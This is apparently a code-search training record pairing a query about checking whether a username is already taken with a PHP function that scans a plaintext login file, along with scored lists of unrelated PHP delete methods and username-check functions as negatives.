"function _unlink($resource, $exp_time = null)\n {\n if(file_exists($resource)) {\n return parent::_unlink($resource, $exp_time);\n }\n\n // file wasn't found, so it must be gone.\n return true;\n }",
"public function remove($id);",
"public function remove($id);",
"public function deleted(Storage $storage)\n {\n //\n }",
"public function destroy($id)\n {\n $data = Product::findOrFail($id);\n\n if(file_exists('uploads/product/'.$data->image1)){\n unlink('uploads/product/'.$data->image1);\n }\n\n if(file_exists('uploads/product/'.$data->image2)){\n unlink('uploads/product/'.$data->image2);\n }\n\n if(file_exists('uploads/product/'.$data->image3)){\n unlink('uploads/product/'.$data->image3);\n }\n $data->delete();\n }",
"public function removeUpload()\n {\n $file = $this->getAbsolutePath();\n if ($file) {\n unlink($file);\n }\n }",
"public function resources_delete($resource_id, Request $request) {\n if ($resource_id) {\n $resp = Resources::where('id', '=', $resource_id)->delete();\n if($resp){\n $msg = 'Resource has been deleted successfully.';\n $request->session()->flash('message', $msg);\n }\n }\n //return redirect()->route('admin-factor-list');\n return redirect()->to($_SERVER['HTTP_REFERER']);\n }",
"public function delete()\n {\n try\n {\n $thumbnail = $this->getThumbnail();\n if($thumbnail)\n {\n $thumbnail->delete();\n }\n }\n catch(sfException $e){}\n \n // delete current file\n parent::delete();\n }",
"function deleteResource($uuid){\n $data = callAPI(\"DELETE\",\"/urest/v1/resource/\".$uuid);\n return $data;\n}",
"public function delete();",
"public function delete();",
"public function delete();",
"public function delete();",
"public function delete();",
"public function delete();",
"public function delete();",
"public function delete();",
"public function delete();",
"public function delete();",
"public function delete();",
"public function delete();",
"public function delete();",
"public function delete();",
"public function delete();",
"public function remove_resource($idproject){\n\t\t\n\t\t// Load model and try to get project data\n\t\t$this->load->model('Projects_model', 'projects');\n\t\t\n\t\t// Update\n\t\t$this->projects->save_project(array(\"ext\" => \"\", \"vzaar_idvideo\" => \"0\", \"vzaar_processed\" => \"0\"), $idproject);\n\t}",
"public function destroy($id){\n $file_data = Slider::findOrFail($id);\n File::delete(public_path('../storage/app/public/sliders/'.$file_data->path));\n $slider = Slider::destroy($id);\n return response()->json(null, 204);\n }",
"public function delete()\n\t{\n\t\t@unlink($this->get_filepath());\n\t\t@unlink($this->get_filepath(true));\n\t\tparent::delete();\n\t}",
"public function delete($resource_path, array $variables = array()) {\n return $this->call($resource_path, $variables, 'DELETE');\n }",
"public function destroy($id)\n {\n //Find Slider With Id\n $slider = Slider::findOrFail($id);\n // Check If The Image Exist\n if(file_exists('uploads/slider/'.$slider->image)){\n\n unlink( 'uploads/slider/'.$slider->image);\n }\n $slider->delete();\n return redirect()->back()->with('success','Slider Successfully Deleted');\n }"
] | [
"0.6672584",
"0.6659381",
"0.6635911",
"0.6632799",
"0.6626075",
"0.65424126",
"0.65416265",
"0.64648265",
"0.62882507",
"0.6175931",
"0.6129922",
"0.60893893",
"0.6054415",
"0.60428125",
"0.60064924",
"0.59337646",
"0.5930772",
"0.59199584",
"0.5919811",
"0.5904504",
"0.5897263",
"0.58962846",
"0.58951396",
"0.58951396",
"0.58951396",
"0.58951396",
"0.5880124",
"0.58690923",
"0.5863659",
"0.5809161",
"0.57735413",
"0.5760811",
"0.5753559",
"0.57492644",
"0.5741712",
"0.57334286",
"0.5726379",
"0.57144034",
"0.57096",
"0.5707689",
"0.5705895",
"0.5705634",
"0.5703902",
"0.5696585",
"0.5684331",
"0.5684331",
"0.56780374",
"0.5677111",
"0.5657287",
"0.5648262",
"0.5648085",
"0.5648012",
"0.5640759",
"0.5637738",
"0.5629985",
"0.5619264",
"0.56167465",
"0.5606877",
"0.56021434",
"0.5601949",
"0.55992156",
"0.5598557",
"0.55897516",
"0.5581397",
"0.5566926",
"0.5566796",
"0.55642897",
"0.55641",
"0.5556583",
"0.5556536",
"0.5550097",
"0.5543172",
"0.55422723",
"0.5540013",
"0.5540013",
"0.55371785",
"0.55365825",
"0.55300397",
"0.552969",
"0.55275744",
"0.55272335",
"0.55271083",
"0.55271083",
"0.55271083",
"0.55271083",
"0.55271083",
"0.55271083",
"0.55271083",
"0.55271083",
"0.55271083",
"0.55271083",
"0.55271083",
"0.55271083",
"0.55271083",
"0.55271083",
"0.55271083",
"0.5525997",
"0.5525624",
"0.5523911",
"0.5521122",
"0.5517412"
] | 0.0 | -1 |
(array( 'vars' => $vars, )) | protected function _getVarsItem($arr)
{
global $varsPluginAccountingAccount;
$varsPreference = $this->_getVarsPreference(array(
'numFiscalPeriod' => $varsPluginAccountingAccount['numFiscalPeriodCurrent'],
));
$data = array(
'varsPreference' => $varsPreference,
);
return $data;
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"function values( $vars ) {\n foreach($vars as $k=>$v) {\n $this->_vars[\"$k\"] = $v;\n }\n }",
"public function __getVars(){\r\n $vars = isset($this->vars)? $this->vars:array();\r\n return $vars;\r\n }",
"function acf_extract_vars(&$array, $keys)\n{\n}",
"function __construct(&$vars) {\r\n }",
"public function insertVars($vars) {\n\t\t$this->vars = array_merge($this->vars, $vars);\n\t}",
"public function variables(): array;",
"public function variables(): array;",
"public function tracking_vars( $vars ) {\n\n\t\t$vars['content_directory'] = array(\n\t\t\t'enabled' => '0:b',\n\t\t);\n\n\t\treturn $vars;\n\n\t}",
"public static function query_vars($vars) {\n $vars[] = 'callback';\n $vars[] = 'feed';\n $vars[] = 'pretty';\n\n return $vars;\n }",
"public function get_vb_data ($vars = array());",
"function getVars() {\n return $this->vars;\n }",
"function wddx_serialize_vars($var_name, $_ = NULL)\n{\n}",
"function ind_query_var($vars) {\n\tarray_push($vars, 'chapter');\n\treturn $vars;\n}",
"public function set_vars($vars)\n\t{\n\t\t$this->vars = array_merge($this->vars, $vars);\n\t}",
"function insert_query_vars( $vars ) {\r\n\r\n array_push( $vars, 'wpc_page' );\r\n array_push( $vars, 'wpc_page_value' );\r\n\r\n return $vars;\r\n }",
"public function prepareVars()\n {\n $this->vars['name'] = $this->formField->getName() . '[]';\n\n $this->vars['model'] = $this->model;\n $this->vars['subscribers'] = Subscriber::all()->lists('count', 'id');\n if (!empty($this->getLoadValue())) {\n $this->vars['value'] = $this->getLoadValue();\n } else {\n $this->vars['value'] = [];\n }\n\n }",
"function query_vars($vars) {\n $vars[] = 'hcard_url';\n\n return $vars;\n }",
"function my_insert_query_vars( $vars ) {\n\tarray_push( $vars, 'rid' );\n\treturn $vars;\n}",
"function phpParamsToJs($vars) {\n\t\tforeach ($vars as $key=>$var) {\n\t\t\t$vars[$key]=cmfcHtml::phpParamToJs($var);\n\t\t}\n\t\treturn $vars;\n\t}",
"public function getVars()\n {\n return $this->vars;\n }",
"function prepare_vars_for_template_usage()\n {\n }",
"public function vars()\n {\n \n return new ArrayWrapper(get_object_vars($this->object));\n \n }",
"public function setVars( array $vars ) {\n $this->vars += $vars;\n }",
"function queryVars($vars) {\n $vars[] = 'xauth';\n $vars[] = 'redirect_to';\n\n return $vars;\n }",
"public static function query_vars($vars) {\n $vars[] = 'oexchange';\n\n return $vars;\n }",
"public function tracking_vars( $vars ) {\n\n\t\t$vars['itsec_away_mode'] = array(\n\t\t\t'enabled' => '0:b',\n\t\t\t'type' => '0:b',\n\t\t);\n\n\t\treturn $vars;\n\n\t}",
"function extraVars() {\n\t\tif (func_num_args()) {\n\t\t\tif (is_array(func_get_arg(0))) {\n\t\t\t\t$this->_extraVars = func_get_arg(0);\n\t\t\t}\n\t\t\telse {\n\t\t\t\t$this->_extraVars = array(func_get_arg(0)=>'');\n\t\t\t}\t\t\t\n\t\t}\n\t\telse return $this->_extraVars;\n\t}",
"public function getVars() {\r\n return $this->VARS;\r\n }",
"abstract protected function prepareVars(array $data);",
"public function getVars(Horde_Variables &$vars)\n {\n $vars->set('search_pattern', $this->_search);\n $vars->set('search_tags', implode(',', $this->_tags));\n $vars->set('search_completed', $this->_completed);\n $vars->set('due_within', $this->_due[0]);\n $vars->set('due_of', $this->_due[1]);\n\n $mask = array();\n if ($this->_mask & self::MASK_NAME) {\n $mask[] = 'search_name';\n }\n if ($this->_mask & self::MASK_DESC) {\n $mask[] = 'search_desc';\n }\n if (!empty($mask)) {\n $vars->set('search_in', $mask);\n }\n }",
"public function vars()\n\t{\n\t\treturn $this->vars;\n\t}",
"public function tracking_vars( $vars ) {\n\n\t\t$vars['itsec_hide_backend'] = array(\n\t\t\t'enabled' => '0:b',\n\t\t);\n\n\t\treturn $vars;\n\n\t}",
"function varInfo(...$vars)\n {\n return (new VarDump(...$vars))->toString();\n }",
"public function addVars(array $vars = array())\n\t{\n\t\tforeach($vars as $var => $value)\n\t\t{\n\t\t\t$this->vars[$var] = $value;\n\t\t}\n\t}",
"public function dump_vars($vars)\n\t{\n\t\t$this->last_selector = null;\n\t\t$args = array();\n\t\tforeach (func_get_args() as $index => $func)\n\t\t{\n\t\t\tif ($func instanceof PheryResponse || $func instanceof PheryFunction)\n\t\t\t{\n\t\t\t\t$args[$index] = array($this->typecast($func, true, true));\n\t\t\t}\n\t\t\telseif (is_object($func))\n\t\t\t{\n\t\t\t\t$args[$index] = array(get_object_vars($func));\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$args[$index] = array($func);\n\t\t\t}\n\t\t}\n\n\t\treturn $this->cmd(6, $args);\n\t}",
"function tb_register_query_vars( $vars ) {\n $vars[] = \"tosearch\";\n $vars[] = \"tab\";\n $vars[] = \"genre\";\n $vars[] = \"tosearch\";\n\n return $vars;\n}",
"function wp_reset_vars($vars)\n {\n }",
"public function vars()\n {\n return array_merge(parent::vars(), [\n 'user' => (string) $this->key->sysuser ? $this->key->sysuser->name : 'sitepilot',\n 'key' => (string) $this->key->key\n ]);\n }",
"function setVars($action){\n $id = trim(filter_input($action, 'id'));\n $text = trim(filter_input($action, 'text'));\n $author = trim(filter_input($action, 'author'));\n $authorId = trim(filter_input($action, 'authorId'));\n $category = trim(filter_input($action, 'category'));\n $categoryId = trim(filter_input($action, 'categoryId'));\n $limit = trim(filter_input($action, 'limit'));\n $random = trim(filter_input($action, 'random'));\n $data = array(\"id\"=>$id, \"text\"=>$text,\n \"author\"=>$author, \"authorId\"=>$authorId,\n \"category\"=>$category, \"categoryId\"=>$categoryId,\n \"limit\"=>$limit, \"random\"=>$random);\n return $data;\n }",
"public function getVars()\n\t{\n\t\treturn $this->vars;\n\t}",
"private function get_vars2export() {\n\t\treturn array(\n\t\t\t'var_id' => !empty($this->var_id) ? $this->var_id : FALSE\n\t\t);\n\t}",
"public function prepareVars()\n {\n $this->vars['posts'] = $this->prepareHtml();\n $this->vars['model'] = $this->model;\n }",
"public function vars()\n {\n return $this->vars;\n }",
"public static function query_vars( $vars ) {\n\n\t\t$vars[] = 'statify_referrer';\n\t\t$vars[] = 'statify_target';\n\n\t\treturn $vars;\n\t}",
"public function prepareVars()\n {\n $this->vars['name'] = $this->formField->getName();\n\n $this->vars['model'] = $this->model;\n $this->vars['category'] = Kategory::where(\"is_active\", \"1\")->lists('name', 'id');\n if (!empty($this->getLoadValue())) {\n $a= $this->vars['value'] = $this->getLoadValue();\n } else {\n $a= $this->vars['value'] = [];\n }\n }",
"public static function loadVars(){\n\t\tif(!self::$vars){\n\t\t\tself::$vars = self::getDefaultVars();\n\t\t}\n\t\tforeach(func_get_args() as $arg){\n\t\t\tforeach($arg as $key=> $value){\n\t\t\t\tself::$vars[$key] = self::fillTokens($value);\n\t\t\t}\n\t\t}\n\t\treturn self::$vars;\n\t}",
"function assign_vars($vararray)\n\t{\n\t\t$this->_tpldata['.'][0] = array_merge(empty($this->_tpldata['.'][0]) ? array() : $this->_tpldata['.'][0], $vararray);\n\t\treturn true;\n\t}",
"function _prepare(){\t\r\r\n\t\t// init array\r\r\n\t\t$this->options = array();\t\r\r\n\t\t// to be saved vars\r\r\n\t\t$vars = array('active_modules','active_plugins','setting');\r\r\n\t\t// set\r\r\n\t\tforeach($vars as $var){\r\r\n\t\t\t// var\r\r\n\t\t\t$this->options[$var] = $this->{$var};\r\r\n\t\t}\t\r\r\n\t}",
"public function getPostVariables();",
"function assign_vars($vararray)\n\t{\n\t\tforeach($vararray as $key => $val)\n\t\t{\n\t\t\t$this->vars[$key] = $val;\n\t\t}\n\t\treturn true;\n\t}",
"public function create_query_vars( $vars ) {\n $vars[] = 'salesforce-login';\n $vars[] = 'salesforce-callback';\n return $vars;\n }",
"public function setVars(array $vars)\n {\n $this->vars = $vars;\n return $this;\n }",
"public function __setVars($vars,$over = FALSE){\r\n\r\n if(sizeof($this->vars) || $over){\r\n $this->vars = array_merge($this->vars,$vars);\r\n }\r\n return $this;;\r\n }",
"function repeatVars(){\n\n\n\n\treturn FALSE;\n\n}",
"public function _js_vars()\n {\n }",
"protected function getVars()\n {\n return array_merge(parent::getVars(),get_object_vars($this));\n }",
"function mrl_query_vars( $vars ) {\r\n $vars[] = 'my_reading_library_library';\r\n $vars[] = 'my_reading_library_id';\r\n $vars[] = 'my_reading_library_page'; \r\n $vars[] = 'my_reading_library_title';\r\n $vars[] = 'my_reading_library_author';\r\n $vars[] = 'my_reading_library_reader'; //in order to filter books by reader\r\n return $vars;\r\n}",
"public static function addVars($arr){\n self::$vars = array_merge(self::$vars, $arr);\n }",
"protected function get_variables_for_view()\n\t{\n\t\t$ary = array();\n\t\tforeach (get_object_vars ($this->set) as $k => $v)\n\t\t\t$ary[$k] = $v;\n\t\treturn $ary;\n\t}",
"public function getVars()\n {\n return [\n 'get' => $this->get,\n 'session' => $this->session,\n ];\n }",
"public static function makeGetVars($vars){\n\t\t\t$res='';\n\t\t\tforeach($vars as $key=>$value)$res.=urlencode($key).'='.urlencode($value).'&';\n\t\t\treturn $res;\n\t\t}",
"function repeatVars(){\n\n\t\treturn FALSE;\n\t\n}",
"public function getVars() {\n return array();\n }",
"public function getTemplateVariables(): array;",
"function smarty_function_sugar_replace_vars($params, &$smarty)\n{\n\tif(empty($params['subject'])) {\n\t $smarty->trigger_error(\"sugarvar: missing 'subject' parameter\");\n\t return;\n\t} \n\t$fields = empty($params['fields']) ? $smarty->get_template_vars('fields') : $params['fields'];\n $subject = replace_sugar_vars($params['subject'], $fields, !empty($params['use_curly']));\n\tif (!empty($params['assign']))\n\t{\n\t\t$smarty->assign($params['assign'], $subject);\n\t\treturn '';\n\t}\n\t\n\treturn $subject;\n}",
"public function getVars() {\n\t\treturn $this->vars;\n\t}",
"public function getVars() {\n\t\treturn $this->vars;\n\t}",
"public function getVars()\n {\n return $this->vars;\n }",
"public function getVars()\n {\n return $this->vars;\n }",
"function tcapi_query_vars($query_vars) {\n\t$query_vars [] = 'contest_type';\n\t$query_vars [] = 'contestID';\n\t$query_vars [] = 'page';\n\t$query_vars [] = 'pages';\n\t$query_vars [] = 'post_per_page';\n\t$query_vars [] = 'handle';\n\t$query_vars [] = 'slug';\n\t$query_vars [] = 'num';\n\treturn $query_vars;\n}",
"function add_query_vars_filter( $vars ){\n $vars[] = 'campaign';\n $vars[] = 'container';\n $vars[] = 'type';\n $vars[] = 'launchUrls';\n $vars[] = 'playUrls';\n $vars[] = 'countUrls';\n return $vars;\n}",
"function get_vars($id,$showLimit,$rperm,$cperm,$tzone,$uname){\n\t\t$this->id = $id;\n\t\t$this->showLimit = $showLimit;\n\t\t$this->rperm = $rperm;\n\t\t$this->cperm = $cperm;\n\t\t$this->tzone = $tzone;\n\t\t$this->uname = $uname;\n\t}",
"function pre(...$vars)\n {\n foreach ($vars as $var) {\n echo '<pre>';\n print_r($var);\n echo '</pre>';\n }\n }",
"protected function assign_variables($vars) {\n $this->out->assign_vars($vars);\n }",
"public function tracking_vars() {\n WC_Gokeep_JS::get_instance()->create_vars();\n }",
"public function toJson(){\r\n return json_encode($this->vars,JSON_FORCE_OBJECT);\r\n }",
"function extract_vars($method = INPUT_GET) {\n\n if (isset($_REQUEST[\"id\"])) {\n $in[\"id\"] = trim(filter_input($method,\"id\", FILTER_SANITIZE_STRING));\n }\n\n if (isset($_REQUEST[\"url\"])) {\n $in[\"url\"] = filter_input($method,\"url\", FILTER_SANITIZE_URL);\n }\n\n $in[\"category\"] = sanitize(\"category\", FILTER_SANITIZE_STRING, $method);\n $in[\"caption\"] = sanitize(\"caption\", FILTER_SANITIZE_STRING, $method);\n\n return $in;\n}",
"function assign_vars_array($name, $value)\n\t{\n\t\t$this->_vars[$name][] = $value;\n\t}",
"protected function prepareVars(): array\n {\n return [];\n\n // $this->p_model = $model = $this->option('model');\n }",
"public function request( $vars ) {\n\n\t\t/* Default ordering alphabetically. */\n\t\tif ( !isset( $vars['order'] ) && !isset( $vars['orderby'] ) ) {\n\t\t\t$vars = array_merge(\n\t\t\t\t$vars,\n\t\t\t\tarray(\n\t\t\t\t\t'order' => 'ASC',\n\t\t\t\t\t'orderby' => 'title'\n\t\t\t\t)\n\t\t\t);\n\t\t}\n\n\t\treturn $vars;\n\t}",
"public function _js_vars($extra_args = array())\n {\n }",
"public function _js_vars($extra_args = array())\n {\n }",
"public function setVars(array $vars)\n {\n $this->_vars = $vars;\n return $this;\n }",
"function repeatVars() {\n\treturn false;\n}",
"private function _add_layout_vars($vars) {\n\t\t$CI =& get_instance();\n\t\t$layout_vars = array(\n\t\t\t'_sysmsg' => array_key_exists('sysmsg',$vars) ? $vars['sysmsg'] : $CI->session->flashdata('sysmsg'),\n\t\t\t'_sysmsg_type' => array_key_exists('sysmsg_type',$vars) ? $vars['sysmsg_type'] : $CI->session->flashdata('sysmsg_type'),\n\t\t\t'_user' => property_exists($CI,'user') ? $CI->user : '',\n\t\t\t'_breadcrumbs'\t => $CI->nav_history->get_breadcrumb(),\n\t\t\t'_header' => $CI->application == 'plugin' ? $CI->get_header() : '',\n\t\t\t'_application'\t => $CI->application\n\t\t);\n\t\t\n\t\tif( $CI->application == 'plugin' ) {\n\t\t\t$layout_vars['_header']\t= $CI->get_header();\n\t\t\t$layout_vars['_agent'] = $CI->agent;\t\t\t\n\t\t\t$layout_vars['mls'] = $CI->mls;\n\t\t\t$layout_vars['crm'] = $CI->crm;\n\t\t}\n\t\t\n\t\t// system message\n\t\tif( array_key_exists('sysmsg',$vars)) {\n\t\t\t$layout_vars['_sysmsg'] = $vars['sysmsg'];\n\t\t\t$layout_vars['_sysmsg_type'] = $vars['sysmsg_type'];\n\t\t} elseif( $CI->session->flashdata('sysmsg') != '') {\n\t\t\t$layout_vars['_sysmsg'] = $CI->session->flashdata('sysmsg');\n\t\t\t$layout_vars['_sysmsg_type'] = $CI->session->flashdata('sysmsg_type');\n\t\t} elseif( property_exists( $CI,'sysmsg') ) {\n\t\t\t$layout_vars['_sysmsg'] = $CI->sysmsg->message;\n\t\t\t$layout_vars['_sysmsg_type'] = $CI->sysmsg->type;\n\t\t}\n\t\t\n\t\treturn array_merge($vars,$layout_vars);\n\t}",
"public function addVariables($tvs = array());",
"public function params(): array;",
"function mf_merge_parsed_vars_to_post($parsed_vars){\n\t\tforeach ($parsed_vars as $key_1 => $value_1) {\n\t\t\tif(is_array($value_1)){\n\t\t\t\tforeach ($value_1 as $key_2 => $value_2) {\n\t\t\t\t\tif(is_array($value_2)){\n\t\t\t\t\t\tforeach ($value_2 as $key_3 => $value_3) {\n\t\t\t\t\t\t\tif(is_array($value_3)){\n\t\t\t\t\t\t\t\tforeach ($value_3 as $key_4 => $value_4) {\n\t\t\t\t\t\t\t\t\tif(is_array($value_4)){\n\t\t\t\t\t\t\t\t\t\tforeach ($value_4 as $key_5 => $value_5) {\n\t\t\t\t\t\t\t\t\t\t\tif(is_array($value_5)){\n\t\t\t\t\t\t\t\t\t\t\t\t//placeholder\n\t\t\t\t\t\t\t\t\t\t\t\t//add another loop here to add more level\n\t\t\t\t\t\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t\t\t\t\t\t$_POST[$key_1][$key_2][$key_3][$key_4][$key_5] = $value_5;\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t}\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t\t\t\t$_POST[$key_1][$key_2][$key_3][$key_4] = $value_4;\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t\t$_POST[$key_1][$key_2][$key_3] = $value_3;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}else{\n\t\t\t\t\t\t$_POST[$key_1][$key_2] = $value_2;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}else{\n\t\t\t\t$_POST[$key_1] = $value_1;\n\t\t\t}\n\t\t}\n\t}",
"function getVariableContainer() ;",
"public function prepareVars()\n {\n $this->vars['name'] = $this->formField->getName();\n $this->vars['value'] = $this->getLoadValue();\n $this->vars['model'] = $this->model;\n }",
"function dd($vars) {\n\tvar_dump($vars);\n\tdie();\n}",
"protected function _sendVars($arr)\n\t{\n\t\tglobal $varsRequest;\n\n\t\t$array = array(\n\t\t\t'flag' => (!is_null($arr['flag']))? $arr['flag'] : 1,\n\t\t\t'numNews' => ($arr['numNews'])? $arr['numNews'] : 0,\n\t\t\t'stamp' => ($arr['stamp'])? $arr['stamp'] : '',\n\t\t\t'data' => $arr['vars'],\n\t\t);\n\n\t\t$jsonVars = json_encode($array);\n\t\t$jsonIdUpload = json_encode($varsRequest['query']['idUpload']);\n\n\t\t$varsIframe = $this->getVars(array(\n\t\t\t'path' => $this->_extSelf['varsIframe'],\n\t\t));\n\t\t$tmplIframe = str_replace('<%idUpload%>', $jsonIdUpload, $varsIframe['tmpl']);\n\t\t$tmplIframe = str_replace('<%vars%>', $jsonVars, $tmplIframe);\n\n\t\tprint $tmplIframe;\n\t\texit;\n\t}",
"public function vars()\n {\n $v = &$this->vars;\n return $v;\n }",
"public function register_query_args( $vars = array() ) {\n\t\t$vars = ( ! empty( $this->endpoints ) ) ? array_merge( $vars, array_keys( $this->endpoints ) ) : $vars;\n\t\t$vars = ( ! empty( $this->rules_queryvars ) ) ? array_merge( $vars, array_unique( $this->rules_queryvars ) ) : $vars;\n\t\treturn $vars;\n\t}",
"function getTemplateVars() {\n return array();\n }",
"function get_vars($name)\n {\n\t\treturn (!empty($this->_vars[$name])) ? $this->_vars[$name] : NULL;\n }",
"public function exportVars(array $var_array);",
"function debug(...$vars)\n{\n if($vars) {\n var_dump(...$vars);\n }\n exit;\n}",
"function addVars($node, $vars) {\n\tforeach ($vars as $name=>$val) {\n\t\t$var = $node->data->addChild('var', $val);\n\t\t$var->addAttribute('name', $name);\n\t}\n}",
"function debug_var(...$values) { // \"...\" permet de regroupers tous les paramètres en un tableau ($values)\n var_dump(...$values); // \"...\" permet ici l'inverse, il split le tableau pour tout remonter au même niveau. équivalent de var_dump($values[0], $values[1], $values[2]);\n die(); // Stop le rendu PHP ici. Plus rien ne s'exécutera et le resultat est directement retourné à l'utilisateur\n}",
"function __construct()\n {\n parent::__construct();\n $this->getvars = array();\n $this->postvars = array();\n }"
] | [
"0.7112154",
"0.68076557",
"0.6294348",
"0.629061",
"0.6253733",
"0.6224166",
"0.6224166",
"0.6153742",
"0.61213624",
"0.611972",
"0.61191326",
"0.6106232",
"0.6102115",
"0.6073015",
"0.60068196",
"0.5993965",
"0.596377",
"0.59604555",
"0.59272414",
"0.59074116",
"0.5896067",
"0.58917964",
"0.5874181",
"0.58739823",
"0.5871205",
"0.5862808",
"0.5846914",
"0.5835447",
"0.5829361",
"0.5827729",
"0.582441",
"0.58180016",
"0.5808228",
"0.58006525",
"0.5786171",
"0.57762784",
"0.5776247",
"0.5774023",
"0.57738465",
"0.5748158",
"0.5746436",
"0.57394654",
"0.57352173",
"0.5731758",
"0.5728995",
"0.57285416",
"0.5727278",
"0.5723565",
"0.5719101",
"0.5709474",
"0.57073295",
"0.5693505",
"0.5686941",
"0.56856525",
"0.56817615",
"0.56731105",
"0.5649363",
"0.5639347",
"0.56331414",
"0.56302136",
"0.5627769",
"0.56248206",
"0.5614839",
"0.5614496",
"0.56122696",
"0.56118065",
"0.56118065",
"0.5602424",
"0.5602424",
"0.5601088",
"0.5576417",
"0.55598027",
"0.5559325",
"0.5557178",
"0.5549498",
"0.5537291",
"0.55344975",
"0.5525261",
"0.5524492",
"0.5519342",
"0.5506759",
"0.5506759",
"0.54963154",
"0.5496042",
"0.5491583",
"0.54878354",
"0.5484613",
"0.5481728",
"0.54768085",
"0.5474399",
"0.54633445",
"0.54613525",
"0.54590803",
"0.54444927",
"0.5444354",
"0.54404134",
"0.54400235",
"0.54398805",
"0.5439559",
"0.5437759",
"0.5435202"
] | 0.0 | -1 |
check if username is in use | function usernameInUse($User){
$inUse = false;
// santise user input to prevent XSS attack (removes any html elements)
$filteredUser = filter_var($User, FILTER_SANITIZE_STRING);
$file = fopen("../login.txt", "r") or die("unable to open file!");
while((! feof($file)) && ($inUse == false)) {
//check username against the credential provided
$storedUsername = fgets($file);
//read password line so it moves on to next username
fgets($file);
if((trim($filteredUser) == trim($storedUsername)))
{
// state the username is in use
$inUse = true;
}
}
fclose($file);
return $inUse;
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"function verify_username_availability($userName){\n $exists = false;\n if(get_user($userName)){\n $exists = true;\n }\n return $exists;\n}",
"function isFreeUsername($username, $connection) {\n\t$namecheckquery = mysqli_query($connection, \"select name from users where name = '\".$username.\"';\");\n\t$namecheck = mysqli_num_rows($namecheckquery);\n\n\treturn !$namecheck;\n}",
"public function username_check($str) {\n // return FALSE;\n return TRUE;\n }",
"public function checkusername()\n\t\t{\n\t\t\t$username = $_POST['owner_username'];\n\t\t\t$data = $this->UserModel->checkusername($username);\n\t\t\tif (empty($data)){\n\t\t\t\techo 'true';\n\t\t\t}else {\n\t\t\t\techo 'false';\n\t\t\t}\n\t\t}",
"public function checkUsernameExists(){\r\n\t\t\t$objDBConn = DBManager::getInstance();\r\n\t\t\tif($objDBConn->dbConnect()){\r\n\t\t\t\t//echo \"SELECT * from trainer where username='\".$_REQUEST[\"username\"].\"'\";\r\n\t\t\t\t$result = mysql_query(\"SELECT * from trainer where username='\".$_REQUEST[\"username\"].\"' LIMIT 1\");\r\n\t\t\t\t$count= mysql_num_rows($result);\r\n\t\t\t\tif($count==0){\r\n\t\t\t\t\t//Username is available\r\n\t\t\t\t\t$objDBConn->dbClose();\r\n\t\t\t\t\t//return true;\r\n\t\t\t\t\techo $count;\r\n\t\t\t\t}else{\r\n\t\t\t\t\t//Username already taken.\r\n\t\t\t\t\t$objDBConn->dbClose();\r\n\t\t\t\t\t//return false;\r\n\t\t\t\t\techo $count;\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t}else{\r\n\t\t\t\t//echo 'Something went wrong ! ';\r\n\t\t\t\t$objDBConn->dbClose();\r\n\t\t\t\t//return false;\r\n\t\t\t}\r\n\t\t\t\r\n\t\t}",
"public function isUsernameAvailable($username){\n \n $con=Connection::createConnection();\n $result = mysql_query(\"SELECT * FROM user WHERE nickname = '$username'\");\n $flagToReturn=false;\n \n if(mysql_num_rows($result) == 1){\n //already exist\n }else{\n $flagToReturn=true;\n }\n NetDebug::trace($flagToReturn);\n Connection::closeConnection($con);\n return $flagToReturn;\n \n }",
"public function hasUsername() : bool;",
"public function check_username()\n\t\t{\n\t\t\t$username = $this->input->post('username');\n\t\t\t$where = array('username' => $username);\n\t\t\tif($this->Admin_model->check_exits($where)){\n\t\t\t\t$this->form_validation->set_message(__FUNCTION__, 'Tài khoản đã tồn tại');\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\treturn true;\n\t\t}",
"private function username_check($username){\n\t\tif(strlen($username) > REGISTER_USERNAME_MAX_LENGTH) {\t// check if username is less than max len\n\t\t\t$this->error .= \"Username must be less than \" . REGISTER_USERNAME_MAX_LENGTH . \" characters.\\n\"; // error username is >= max len\n\t\t\treturn false;\n\t\t}\n\n\t\tif($stmt = $this->Mysqli->prepare(\"SELECT username FROM players WHERE username = ? LIMIT 1\")){ // prepare select query to check if username exists\n\t\t\t$stmt->bind_param('s', $username);\t\t\t\t\t\t// bind params\n\t\t\t$stmt->execute();\t\t\t\t\t\t\t\t\t\t// execute\n\t\t\t$stmt->store_result();\t\t\t\t\t\t\t\t\t// store the results\n\n\t\t\t$updated = $stmt->num_rows == 1;\n\n\t\t\t$stmt->free_result();\t\t\t\t\t\t\t\t\t// free results\n\t\t\t$stmt->close();\t\t\t\t\t\t\t\t\t\t\t// close connection\n\t\t\tif($updated){\t\t\t\t\t\t\t\t\t\t\t// check if row exists\n\t\t\t\t$this->error .= \"This username already exist!\\n\"; \t// error username exists\n\t\t\t\treturn false;\n\t\t\t} else\n\t\t\t\treturn true;\t\t\t\t\t\t\t\t\t\t// username dne, return true\n\t\t} else {\n\t\t\t$this->error .= \"Error reaching servers, please try again later.\\n\";\n\t\t\treturn false;\n\t\t}\n\t}",
"function UserNameExistsEdit($username) {\n\t$usernameUser = GetUser('username');\n\n\t$result = DBRead('usuarios', $params = 'username', $fields = 'username');\n\t$query = \"SELECT username FROM usuarios WHERE username = '$username'\";\n\t$result = DBExecute($query);\n\t$resultUsername = mysqli_fetch_assoc($result);\n\t$resultUsername = $resultUsername['username'];\n\n\tif (mysqli_num_rows($result) <= 0 || $usernameUser == $resultUsername)\n\t\treturn true;\n\telse\n\t\treturn false;\n}",
"function checkUserExists($username){\n\treturn false;\n}",
"private function checkUsername($name){\n\t\t\tif(strlen($name) < 3)\n\t\t\t\tthrow new UserFewCharException();\n\t\t\tif($this->userList->getUsers()->getUserByName($name) != null)\n\t\t\t\tthrow new UserExistsException();\n\t\t\tif($name != strip_tags($name))\n\t\t\t\tthrow new UserBadCharException();\n\t\t\treturn true;\n\t\t}",
